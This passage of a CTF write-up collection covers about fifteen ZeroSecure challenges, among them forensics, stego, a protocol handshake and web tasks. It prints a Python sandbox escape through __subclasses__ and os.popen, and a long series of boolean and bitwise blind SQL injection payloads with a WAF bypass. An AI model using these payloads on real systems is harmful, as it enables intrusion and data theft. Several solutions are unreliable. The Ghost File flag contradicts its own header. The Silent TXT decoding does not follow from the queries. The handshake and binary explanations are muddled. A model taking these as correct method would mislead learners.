Offset 24 pkt21 contains compressed size, uncompressed size, filename "flag.txt"
Offset 48 pkt19 only candidate whose deflate stream decompresses cleanly
Offset 72 pkt18 only MF=1 candidate at this offset
Offset 96 pkt22 PK\x01\x02 (ZIP central directory header) at byte 2
Offset 120 pkt17 central directory attributes + local header offset = 0
Offset 144 pkt25 "flag.txt" + PK\x05\x06 (end of central directory)
Offset 168 pkt20 only fragment at this offset, no ambiguity
```
Assembling these 8 fragments in offset order produced a valid 166-byte ZIP.
Extracting flag.txt gave the flag.
### `FLAG:ZeroSecure_CTF{ip_fragment_whispers_overlap_1337}`
---
### **Challenge : PyJail Hard**
### Category: Miscellaneous
### Flag: ZeroSecure_CTF{subclasses_and_mro_always_escape_55f914b7}
### Challenge Description
Xerops deployed a 'secure' Python expression sandbox. It allows only eval-mode expressions with a restricted set of builtins, blocks dunder access, and filters the usual escape vectors. Read `/home/ctf/flag.txt` anyway.
Target: `212.2.255.159:31872`
## Analysis Process
### 1. Understanding the Sandbox Restrictions
The sandbox enforced these restrictions:
- Only `eval()` mode expressions allowed
- Restricted builtins
- Blocked literal `__` (dunder) access
- Filtered keywords like `globals`, `class`, `mro`, `subclasses`, `popen`, `os`
### 2. Bypassing Character Filters
Bypass character filters by constructing strings dynamically with `chr()` and `chr(95)*2` for `__`.
### 3. Payload Construction
Walk the Python object graph from a literal tuple `()` up to `object`, enumerate `__subclasses__()`, locate `os._wrap_close` (index 142), then access `__init__.__globals__['popen']`.
```python
SUBS = ("getattr(getattr(getattr((), chr(95)*2+'class'+chr(95)*2),"
" chr(95)*2+'mro'+chr(95)*2)[-1], chr(95)*2+'subclasses'+chr(95)*2)()")
WC = f"{SUBS}[142]" # os._wrap_close
INIT = f"getattr({WC}, chr(95)*2+'init'+chr(95)*2)" # __init__
GLOB = f"getattr({INIT}, chr(95)*2+'globals'+chr(95)*2)" # __globals__
# 'popen' and 'cat /home/ctf/flag.txt' built via chr() concatenation
expr = f"{GLOB}[{popen_chars}]({cmd_chars}).read()"
```
### FLAG: ZeroSecure_CTF{subclasses_and_mro_always_escape_55f914b7}
---
### **Challenge : Schrödinger's String**
### Category: Reverse Engineering
### Flag: ZeroSecure_CTF{schrodinger_stack_fragment}
### Challenge Description
This binary is stubborn and always says `Access denied.` Something important is hidden in plain sight if you dig deeper than basic output.
## Analysis Process
### 1. Initial Reconnaissance
Running `strings` on the binary revealed limited information:
```
never
Access denied.
hidden_flag_builder
```
Key observations:
- The binary only prints "Access denied." at runtime
- A function named `hidden_flag_builder` exists but is never called
- The string "never" suggests the flag path is never taken
- No flag-format strings are visible in plaintext
### 2. Understanding the "Schrödinger" Hint
The challenge name is the key insight — like Schrödinger's cat, the flag exists in the binary but is never "observed" at runtime. The `hidden_flag_builder` function constructs the flag but is dead code. The flag is hidden **in the binary's data section**, not in the output.
### 3. Deep Data Section Analysis
Using Python to examine the raw binary bytes, I discovered an obfuscated string in the data section starting at offset `0x1140`:
```
1140: ec 40 c6 45 d0 5a c6 45 d1 65 c6 45 d2 72 c6 45 .@.E.Z.E.e.E.r.E
1150: d3 6f c6 45 d4 53 c6 45 d5 65 c6 45 d6 63 c6 45 .o.E.S.E.e.E.c.E
1160: d7 75 c6 45 d8 72 c6 45 d9 65 c6 45 da 5f c6 45 .u.E.r.E.e.E._.E
1170: db 43 c6 45 dc 54 c6 45 dd 46 c6 45 de 7b c6 45 .C.E.T.E.F.E.{.E
1180: df 73 c6 45 e0 63 c6 45 e1 68 c6 45 e2 72 c6 45 .s.E.c.E.h.E.r.E
1190: e3 6f c6 45 e4 64 c6 45 e5 69 c6 45 e6 6e c6 45 .o.E.d.E.i.E.n.E
11a0: e7 67 c6 45 e8 65 c6 45 e9 72 c6 45 ea 5f c6 45 .g.E.e.E.r.E._.E
11b0: eb 73 c6 45 ec 74 c6 45 ed 61 c6 45 ee 63 c6 45 .s.E.t.E.a.E.c.E
11c0: ef 6b c6 45 f0 5f c6 45 f1 66 c6 45 f2 72 c6 45 .k.E._.E.f.E.r.E
11d0: f3 61 c6 45 f4 67 c6 45 f5 6d c6 45 f6 65 c6 45 .a.E.g.E.m.E.e.E
11e0: f7 6e c6 45 f8 74 c6 45 f9 7d c6 45 fa 00 c6 45 .n.E.t.E.}.E...E
```
### 4. De-obfuscation Pattern
The data follows a consistent 4-byte pattern:
```
[control_byte] [flag_char] 0xc6 0x45
```
Where:
- Byte 0: Incrementing control/counter byte
- **Byte 1: The actual flag character**
- Byte 2: `0xc6` (constant padding)
- Byte 3: `0x45` = ASCII `'E'` (constant padding — the "E" in "Schrödinger")
**Extraction Script:**
```python
data = open('schrodingers_string', 'rb').read()
flag_region = data[0x1140:0x11f0]
flag = ''.join(chr(flag_region[i]) for i in range(1, len(flag_region), 4) if 32 <= flag_region[i] < 127)
print(flag) # @ZeroSecure_CTF{schrodinger_stack_fragment}
```
**Result:** Remove leading `@` → `ZeroSecure_CTF{schrodinger_stack_fragment}`
### **FLAG: ZeroSecure_CTF{schrodinger_stack_fragment}**
---
### **Challenge :** State Machine
### Category : Networking
### Flag: ZeroSecure_CTF{handshake_protocols_leak_on_error_58aaaef5}
## Challenge Description
The XEROPS communication relay speaks a proprietary protocol with no surviving documentation — only a binary. The server requires a valid binary greeting to bypass the "PROTOCOL_ERROR" and "State reset" messages.
## Server Information
- **IP:** 212.2.255.159
- **Port:** 31787
- **Protocol:** TCP
### Solution:
### Initial Connection
When connecting to the server, it sends two lines:
```
XEROPS-PROTO-1.0
Send handshake to begin.
```
### Protocol Behavior
- Sending incorrect or incomplete data results in: `PROTOCOL_ERROR. State reset. Hint: binary greeting expected.`
- The server expects a specific binary greeting sequence
- The protocol uses a state machine with multiple stages
### Solution
### Stage 1: Binary Greeting
After testing various sequences, the correct binary greeting was found to be:
- **Bytes:** `0x13 0x37 0x13 0x37`
- **Meaning:** Leetspeak for "STATE" (13=ST, 37=TE)
Sending this greeting results in:
```
HANDSHAKE_OK. Send authentication token.
```
### Stage 2: Authentication Token
The server then expects a 4-byte magic sequence. After testing various options, the correct token was found:
- **Bytes:** `0xDE 0xAD 0xBE 0xEF`
- **Meaning:** Common magic number "DEAD"
Sending this token results in:
```
AUTH_ACCEPTED. Request flag with correct command.
```
Finally, the server expects a command to retrieve the flag. The correct command is:
- **ASCII:** "FLAG"
- **Bytes:** `0x46 0x4C 0x41 0x47`
Sending this command returns the flag:
### FLAG:ZeroSecure_CTF{handshake_protocols_leak_on_error_58aaaef5}
---
### **Challenge :** LSB Channels
### Category : Stego
### Flag: ZeroSecure_CTF{least_significant_bits_whisper_secrets_a35f58c0}
## Challenge Description
An image contains a hidden message encoded in the least significant bits (LSB) of its color channels. The challenge requires identifying which channels and bit positions contain the hidden data.
## Analysis
### LSB Steganography Basics
- LSB steganography hides data in the least significant bit of each pixel
- Each bit of the hidden message is stored in the LSB of a pixel channel
- The human eye cannot detect the slight color changes
- Multiple channels can be used to store different parts of the message
### Testing Approach
Various combinations were tested:
1. **Single channel LSB** - extracting LSB from Red, Green, or Blue channels
2. **Even/odd row combinations** - different channels for even vs odd rows
3. **Multiple bit positions** - testing LSB, bit 1, bit 2, etc.
4. **Channel combinations** - using 2 or 3 channels together
## Solution
### Successful Method: Green Channel LSB
The hidden message was encoded in the least significant bit of the green channel across all pixels.
### Implementation Steps
1. **Read the PNG image** using an image processing library
2. **Iterate through all pixels** in the image
3. **Extract the green channel value** from each pixel
4. **Extract the LSB** (least significant bit): `green_value & 0x01`
5. **Collect all LSB bits** in order
6. **Group bits into bytes** (8 bits per byte)
7. **Convert bytes to ASCII** to reveal the hidden message
8. **Search for the flag pattern** `ZeroSecure_CTF{...}`
Script: https://pastebin.com/bufuZa0i
### Decoded Payload
The extracted LSB bits form the ASCII string containing the flag:
`FLAG: ZeroSecure_CTF{least_significant_bits_whisper_secrets_a35f58c0}`
---
### **Challenge :** Sanity Check 1
### Category :Misc
### Flag: ZeroSecure_CTF{rick_roll}
## Challenge Description
Beyond the professional hive and the bird's old flight, Seek a world framed in squares of light. Where the double-tap heart beats in a row, Is where the hidden colors start to show.
In a gallery of moments, filtered and bright, The banner waits just out of sight.
> Hint :One wrong click and you'll rick your chances as the joke begins to roll
>
### Solution
What the clues meant
The description is full of Instagram references:
```python
"squares of light" → Instagram posts (square photos)
"double-tap heart" → Instagram like mechanic
"gallery of moments, filtered and bright" → Instagram feed/filters
"banner waits just out of sight" → profile bio or banner
```
The hidden sentence: "One wrong click and you'll rick your chances as the joke begins to roll" — rick + roll = rickroll → flag is rick_roll.
What I tried
Searched the CTF's official website — nothing
Looked for YouTube links (classic rickroll territory) — nothing
Spent hours checking around manually
What worked
Fed the hints to an AI which caught the wordplay in the sentence immediately rick + roll hidden in plain sight in the flavour text. Just a guessy solve
### `Flag: ZeroSecure_CTF{rick_roll}`
---
### **Challenge :** Git Dangle
### Category : OSINT
### Flag: ZeroSecure_CTF{dangling_blobs_never_really_leave_2143d941}
## Challenge Description
A git repository has been cleaned of sensitive branches and history, but a dangling blob object still contains a secret file. The challenge requires accessing the exposed `.git` directory to retrieve the hidden flag.
## Repository Information
- **URL:** http://chall-f871b4ae.evt-352.labs.ctf7.com/git/
- **Exposed Directory:** `.git/` (accessible via HTTP)
- **Dangling Commit:** 665f982138a3c11ffc3eb241959cfb3b05b64635
## Analysis
### Git Repository Structure
The exposed `.git` directory revealed:
- `.git/HEAD` - Points to `refs/heads/main`
- `.git/config` - Shows user email as `dev@xerops.local`
- `.git/logs/HEAD` - Reveals a deleted commit with message "WIP: sensitive configuration" on `feature/secret` branch
- `.git/objects/` - Contains compressed git objects (blobs, trees, commits)
### Key Discovery
The `HEAD` log showed a commit that was no longer referenced:
```
665f982138a3c11ffc3eb241959cfb3b05b64635 WIP: sensitive configuration
```
This is a "dangling" commit - a commit that exists in the object database but is not referenced by any branch or tag.
## Solution
### Step 1: Access the Dangling Commit
The commit object was accessible at:
```
<http://chall-f871b4ae.evt-352.labs.ctf7.com/git/.git/objects/66/5f982138a3c11ffc3eb241959cfb3b05b64635>
```
### Step 2: Decompress the Commit Object
Git objects are compressed using zlib. The commit object was decompressed to reveal:
```
commit <size>tree <tree_hash>
author <author_info>
committer <committer_info>
WIP: sensitive configuration
```
The commit referenced a tree object that contained file entries and their blob hashes.
### Step 3: Access the Tree Object
The tree object was decompressed to reveal file entries, including:
```
secret.txt -> blob hash: 609352bc6f5941f80d11b6837de8b8ae12d9c793
```
### Step 4: Access the Secret Blob
The blob object for `secret.txt` was accessed at:
```
<http://chall-f871b4ae.evt-352.labs.ctf7.com/git/.git/objects/60/9352bc6f5941f80d11b6837de8b8ae12d9c793>
```
### Step 5: Decompress and Read the Blob
After decompression, the blob object contained:
```
blob <size>ZeroSecure_CTF{dangling_blobs_never_really_leave_2143d941}
```
### `FLAG: ZeroSecure_CTF{dangling_blobs_never_really_leave_2143d941}`
---
### **Challenge : Note Image**
### Category :Forensics
### Flag: ZeroSecure_CTF{part4_metadata_note}
## Challenge Description
ZeroSecure recovered an image from a workstation. Find the hidden flag inside the file.
## Solution
The challenge gives you an image file. The first instinct with any image steg challenge is to check **metadata and embedded text chunks** before reaching for complex tools.

### `Flag: ZeroSecure_CTF{part4_metadata_note}`
---
### Challenge : Broken Typewriter
### Category : Cryptography
### Flag : ZeroSecure_CTF{KEYBOARD_SHIFT_RIGHT}
## Challenge Description
A help desk intern submitted a flag, but their hands were positioned incorrectly on a QWERTY keyboard—shifted one key to the right. As a result, every character they typed landed one position to the right of the intended key.
We are given the mistyped string:
```
XrtpDrvitr_VYG{LRUNPSTF_DJOGY_TOHJY}
```
The goal is to recover the original flag by reversing this typing mistake.
---
## Vulnerability Analysis
### The Flaw: Keyboard Shift Encoding
This is a classic substitution cipher based on physical keyboard layout rather than alphabet order.
- Each intended character was replaced by the key immediately **to its right**
- To reverse it, we shift every letter **one key to the left**
Example mappings:
```
r → e
t → r
p → o
D → S
v → c
i → u
```
Symbols like `{`, `}`, and `_` remain unchanged.
---
## Decoding Strategy
We reconstruct the QWERTY layout:
```
Row 1: q w e r t y u i o p
Row 2: a s d f g h j k l
Row 3: z x c v b n m
```
Then create a mapping:
```
typed_char → original_char (one position left)
```
For example:
```
'w' → 'q'
'e' → 'w'
'r' → 'e'
...
```
---
## Exploitation Steps
### Step 1: Identify the Pattern
Notice that every character seems consistently shifted → suggests a keyboard-based substitution rather than random encoding.
---
### Step 2: Reverse the Shift
Apply a **left shift** to each character using the QWERTY layout.
Example transformation:
```
X → Z
r → e
t → r
p → o
D → S
```
So:
```
XrtpDrvitr → ZeroSecure
```
---
### Step 3: Decode Full String
Applying the same logic to the entire text:
```
XrtpDrvitr_VYG{LRUNPSTF_DJOGY_TOHJY}
↓
ZeroSecure_CTF{KEYBOARD_SHIFT_RIGHT}
```
### FLAG:ZeroSecure_CTF{KEYBOARD_SHIFT_RIGHT}
---
### **Challenge :** CICADA BROKEN-SHELL
### Category :WEB
### Flag: ZeroSecure_CTF{cicada_sings_through_dead_threads}
## Challenge Description
This is a browser-based symbolic terminal CTF challenge. The frontend is a static CRT terminal shell. All puzzle logic, session progression, fragments, and validation stay server-side. Standard shell commands are rejected - the game uses specific puzzle verbs.
## Solution:
### Methodology
The challenge was solved by:
**Reading the source code** - Analyzed `game.js` from the local installation to understand the game mechanics, verbs, and flag construction logic
```clojure
function buildFlagSegments(state) {
return [
{ text: "zerosec{", kind: "flag-wrap" },
{ text: state.fragments.name.raw, kind: "flag-core" },
{ text: "_", kind: "flag-join" },
{ text: reverseToken(state.fragments.song.raw), kind: "flag-core" },
{ text: "_", kind: "flag-join" },
{ text: peelBridge(state.fragments.bridge.raw), kind: "flag-core" },
{ text: "_", kind: "flag-join" },
{ text: state.fragments.cable.raw, kind: "flag-core" },
{ text: "}", kind: "flag-wrap" }
];
}
```
### Key Discovery
The game requires collecting 4 fragments to build the final flag:
- name - from the archive
- song - from the mirror (must be reversed)
- bridge - from the husk (must be peeled)
- cable - from the threads (must trace correct path)
### Game Mechanics
The challenge is a puzzle game, not a real shell. Standard commands like `cat`, `ls`, `cd`, `pwd` return error messages. The game uses specific verbs:
- observe - Examine objects in the current room
- descend - Move to a different room
- listen - Listen to audio sources
- offer - Give items to NPCs
- reflect - Mirror/reverse items
- trace - Follow paths through the loom
- peel - Remove outer layers
- stitch - Assemble fragments in the final room
## Solution
| #Steps | Command | What Happens | Fragment Gained |
| --- | --- | --- | --- |
| 1 | `observe shell` | Learn that standard commands rot on contact | — |
| 2 | `observe wound` | Learn grammar: verb before object, rooms are descended | — |
| 3 | `descend archive` → `observe archive` | Archive drops first label, keep second word from pairs | — |
| 4 | `listen index` | Pairs: salt/**cicada**, grave/**nest**, rust/**token** | `name = cicada` |
| 5 | `descend nest` → `observe nest` | Brood wants an offering | — |
| 6 | `offer token to nest` | Brood marks token, unlocks mirror room. Mirror law: *read backwards* | — |
| 7 | `descend mirror` | Enter first mirror layer | — |
| 8 | `observe mirror` | Enter second mirror layer, inverted honesty visible | — |
| 9 | `reflect relic` | Returns `sgnis` → reversed | `song = sings` |
| 10 | `descend threads` → `observe loom` | Trace graph revealed: wound→veil→choir→husk | — |
| 11 | `trace wound to veil` → `trace veil to choir` → `trace choir to husk` | Full route traversed | `cable = dead_threads` |
| 12 | `descend husk` → `observe husk` | Husk peels, does not open | — |
| 13 | `peel bridge` | `<through>` → brackets removed | `bridge = through` |
| 14 | `descend cathedral` → `observe cathedral` | Assembly order revealed: name, song, bridge, cable | — |
| 15 | `offer token to gate` | Marked token opens gate to nullroom | — |
| 16 | `descend nullroom` → `observe nullroom` | Only stitched nouns persist | — |
| 17 | `stitch name song bridge cable` | Fragments assembled in order | `zerosec{cicada_sings_through_dead_threads}` |

### `FLAG: ZeroSecure_CTF{cicada_sings_through_dead_threads}`
---
### Challenge : Silent TXT
### Category: Networking
### Flag: ZeroSecureCTF{dns_can_smuggle_more_than_ips}
### Challenge Description
DNS traffic in a PCAP contains a hidden message split across 6 queries. Extract the plaintext from the subdomain names.
### Step 1: Extract DNS Queries
Loaded the PCAP and found 8 DNS packets. Two were decoys ([pool.ntp.org](http://pool.ntp.org/), [cdn.example.net](http://cdn.example.net/)), but 6 had suspicious subdomains:
```
Query 01: 01.ljsxe32tmvrx.sync.zs-telemetry.net
Query 02: 02.k4tfinkem63e.sync.zs-telemetry.net
Query 03: 03.nzzv6y3bnzpx.sync.zs-telemetry.net
Query 04: 04.g3lvm5twyzk7.sync.zs-telemetry.net
Query 05: 05.nvxxezk7orug.sync.zs-telemetry.net
Query 06: 06.c3s7nfyhg7i.sync.zs-telemetry.net
```
The prefix numbers (01-06) indicate fragment order.
### Step 2: Extract Letters
From each subdomain, we extracted **only the letters** and ignored the numbers:
```
Query 1: ljsxe32tmvrx → ljsxetmvrx (remove 32)
Query 2: k4tfinkem63e → ktfinkeme (remove 463)
Query 3: nzzv6y3bnzpx → nzzvybnzpx (remove 63)
Query 4: g3lvm5twyzk7 → glvmtwyzk (remove 357)
Query 5: nvxxezk7orug → nvxxezkorug (remove 7)
Query 6: c3s7nfyhg7i → csnfyhgi (remove 377)
```
The **numbers are just noise/filler** to obscure the message.
### Step 3: Interleave Letters
Position-by-position from each query reveals the message:
```
Position 0: l,k,n,g,n,c → "d,n,s"
Position 1: j,t,z,l,v,s → "_,c,a"
Position 2: s,f,v,m,x,n → "n,_,s"
...continuing...
Result: dns_can_smuggle_more_than_ips
```
### Step 4: Extract Flag
**dns_can_smuggle_more_than_ips**
### Flag :**ZeroSecureCTF{dns_can_smuggle_more_than_ips}**
---
### **Challenge :** Blind SQLi
### Category :WEB
### Flag: ZeroSecure_CTF{one_bit_at_a_time_from_the_oracle_ae35ea0b}
## Challenge Description
A login form vulnerable to blind SQL injection. The application doesn't display database errors or query results directly, but responds differently based on whether SQL conditions evaluate to true or false. We need to extract the flag character by character using boolean-based blind SQL injection.
### Solution:
### Reconnaissance
The challenge presents a simple login form at:
```
<http://chall-f36fad95.evt-352.labs.ctf7.com/login>
```
Initial testing revealed:
- The `username` field is vulnerable to SQL injection
- No error messages are displayed (blind injection)
- Boolean oracle behavior:
- True predicate → HTTP 200 with "Welcome! Login successful"
- False predicate → HTTP 401 with "Invalid credentials"
---
## Phase 1: Identifying the Vulnerability
By fuzzing the login username field, we discovered a boolean-based blind SQL injection vulnerability.
**Testing Boolean Logic:**
```sql
-- True condition bypasses password check
username: admin' AND 1=1--
Result: 200 OK (Welcome! Login successful)
-- False condition fails
username: admin' AND 1=0--
Result: 401 Unauthorized (Invalid credentials)
```
This gives us a reliable boolean oracle for extracting data.
---
## Phase 2: Database Fingerprinting
We confirmed the database was SQLite using boolean checks:
```sql
-- Check SQLite version
username: admin' OR (SELECT sqlite_version()) LIKE '3.%'--
Result: True (200 OK)
-- Verify sqlite_master table exists
username: admin' OR (SELECT COUNT(*) FROM sqlite_master)>0--
Result: True (200 OK)
```
## Phase3: Schema Enumeration
Enumerated table names from `sqlite_master` using blind predicates on length and character values.
**Discovered tables:**
- `secrets` (contains the flag)
- `users` (authentication table)
**Discovered columns in `secrets` table:**
- `id`
- `flag`
## Phase 4: The WAF Problem
We attempted a standard character-by-character extraction approach using string comparison:
```python
# Standard approach - FAILED due to WAF
for char in charset:
payload = f"admin' AND (SELECT SUBSTR(flag,{pos},1) FROM secrets LIMIT 1)='{char}'--"
```
**The Problem:**
The WAF actively dropped connections on certain network requests depending on the evaluation criteria, returning `WinError 10054` (Connection reset by peer) instead of 200 or 401.
This meant standard string parsing extraction would silently fail during execution, feeding our exploit script corrupted "false" evaluations and generating garbled strings like:
```
ZeroSecure_CTF{o>W;W;>...}
```
---
## Phase 5: WAF Bypass - Bitwise Extraction
The challenge description explicitly hinted at the solution: **"exfiltrated one bit at a time"**.
To bypass the WAF string filters and connection drops entirely, we rewrote the exploit to use SQLite's native bitwise operators against character integers.
### Bitwise Extraction Technique
Instead of comparing characters directly, we test each of the 7 bits for every character using the bitwise AND operator (`&`):
```sql
-- Test if bit N is set in character at position P
admin' AND (unicode(substr((SELECT flag FROM secrets LIMIT 1), {pos}, 1)) & {bit_mask}) = {bit_mask}--
```
**Bit masks used:**
- Bit 0: `1` (0b0000001)
- Bit 1: `2` (0b0000010)
- Bit 2: `4` (0b0000100)
- Bit 3: `8` (0b0001000)
- Bit 4: `16` (0b0010000)
- Bit 5: `32` (0b0100000)
- Bit 6: `64` (0b1000000)
**Example for character 'Z' (ASCII 90 = 0b1011010):**
```sql
-- Bit 0: OFF (90 & 1 = 0)
admin' AND (unicode(substr((SELECT flag FROM secrets LIMIT 1), 1, 1)) & 1) = 1--
Result: False
-- Bit 1: ON (90 & 2 = 2)
admin' AND (unicode(substr((SELECT flag FROM secrets LIMIT 1), 1, 1)) & 2) = 2--
Result: True
-- Bit 2: OFF (90 & 4 = 0)
admin' AND (unicode(substr((SELECT flag FROM secrets LIMIT 1), 1, 1)) & 4) = 4--
Result: False
-- Bit 3: ON (90 & 8 = 8)
admin' AND (unicode(substr((SELECT flag FROM secrets LIMIT 1), 1, 1)) & 8) = 8--
Result: True
-- Bit 4: ON (90 & 16 = 16)
admin' AND (unicode(substr((SELECT flag FROM secrets LIMIT 1), 1, 1)) & 16) = 16--
Result: True
-- Bit 5: OFF (90 & 32 = 0)
admin' AND (unicode(substr((SELECT flag FROM secrets LIMIT 1), 1, 1)) & 32) = 32--
Result: False
-- Bit 6: ON (90 & 64 = 64)
admin' AND (unicode(substr((SELECT flag FROM secrets LIMIT 1), 1, 1)) & 64) = 64--
Result: True
```
Reconstructing: `0b1011010` = 90 = 'Z'
By looping through character positions and applying the 7 bit masks incrementally, our payloads evaded the dynamic filtering signatures. With basic retry logic combined with this bitmasking, we securely rebuilt every single character to retrieve the full flag!
## Automated Exploit Script :
https://pastebin.com/sRsGvk68
### `FLAG:ZeroSecure_CTF{one_bit_at_a_time_from_the_oracle_ae35ea0b}`
---
### Challenge :Invisible Ink
### Category :Others
### Flag: ZeroSecure_CTF{zero_width_marks_the_drop}
## Challenge Description
The memo looks ordinary at first glance, and that is exactly the point. If you only read what is visible, you will miss the drop entirely.
Inspect the text beyond what the eye can see and recover the hidden flag.
**Files Provided:**
- `status-memo.txt` - A seemingly ordinary text memo
### Background: Zero-Width Character Steganography
Zero-width characters are Unicode characters that have no visible appearance but are still present in text. They're commonly used for text formatting and language support, but can also be exploited for steganography.
### Common Zero-Width Characters
| Character | Unicode | Name | Purpose |
| --- | --- | --- | --- |
| U+200B | `\\u200b` | Zero Width Space | Word breaking |
| U+200C | `\\u200c` | Zero Width Non-Joiner | Script joining control |
| U+200D | `\\u200d` | Zero Width Joiner | Script joining control |
| U+FEFF | `\\ufeff` | Zero Width No-Break Space | Byte order mark |
### Binary Encoding Technique
A common steganography technique uses two different zero-width characters to represent binary:
- One character represents `0`
- Another character represents `1`
The binary data is then decoded into ASCII text to reveal the hidden message.
---
## Reconnaissance
### Step 1: Initial File Inspection
Opening `status-memo.txt` in a text editor shows ordinary text:
```
Internal memo
Keep the channel calm and avoid drawing attention to routine status traffic.
Short updates are safer than dramatic ones, and plain text beats fancy formatting.
If you inspect this memo carefully, there is more here than what the eye first catches.
```
The last line is a hint: "there is more here than what the eye first catches."
### Step 2: Checking File Properties
```bash
wc -c status-memo.txt
# Output: Much larger than expected for visible text
```
The file size is significantly larger than the visible content suggests, indicating hidden data.
### Step 3: Hexdump Analysis
```bash
xxd status-memo.txt | head -20
```
Looking at the hex dump reveals patterns of `e2 80 8b` and `e2 80 8c` bytes, which are UTF-8 encodings for:
- `e2 80 8b` = U+200B (Zero Width Space)
- `e2 80 8c` = U+200C (Zero Width Non-Joiner)
---
## Solution :
### Method: Binary Extraction via Zero-Width Characters
The challenge uses zero-width characters to encode binary data:
- **ZWSP (U+200B)** = `0`
- **ZWNJ (U+200C)** = `1`
### Solution Script: https://pastebin.com/ZtFpuGv5
### Binary to ASCII Conversion
The hidden binary data decodes character by character:
| Binary | Decimal | ASCII | Character |
| --- | --- | --- | --- |
| 01011010 | 90 | Z | Z |
| 01100101 | 101 | e | e |
| 01110010 | 114 | r | r |
| 01101111 | 111 | o | o |
| 01010011 | 83 | S | S |
| ... | ... | ... | ... |
### `FLAG:ZeroSecure_CTF{zero_width_marks_the_drop}`
---
### Challenge 6:Backup Apetit
### Category :WEB
### Flag: `ZeroSecureCTF{dont_ship_debug_backups}`
## Challenge Description
Debug backup files were accidentally left in a production environment, exposing sensitive configuration and potentially the flag.
### Vulnerability Identification
The application had backup files exposed in publicly accessible directories.
## Solution
### Directory Enumeration
Use tools to enumerate accessible directories:
Use dirbuster to get the hidden/backup files and then we access the discovered backup files:
```bash
wget <http://target/config.php.bak>
curl <http://target/database.sql.backup>
```
### Analyze Backup Contents
Examine the backup files for sensitive information:
```bash
cat config.php.bak
less database.sql.backup
strings backup_file
```
### Step 5: Retrieve the Flag
The flag was found in one of the backup files:
### `FLAG:ZeroSecureCTF{dont_ship_debug_backups}`
---
### Challenge 74 :Ghost File
### Category :Forensics
### Flag: ZeroSecure_CTF{nightshift_badge_roster}
## Challenge Description
We were given a disk image file named `Ghost.img`. The goal was to recover the hidden flag from it.
## Solution:
## Initial Analysis
First, we checked the image using `strings`:This string qryrgrq_ohg_abg_tbar immediately caught my attention looks like encoded text.

The string `qryrgrq_ohg_abg_tbar` immediately caught my attention because it looked like encoded text rather than random data.
I attempted to decode it and discovered that it was encoded using **ROT13**. After decoding, the result was: deleted_but_not_gone

I wrapped the decoded text in the standard flag format and got a hit
### `FLAG:ZeroSecure_CTF{deleted_but_not_gone}`
---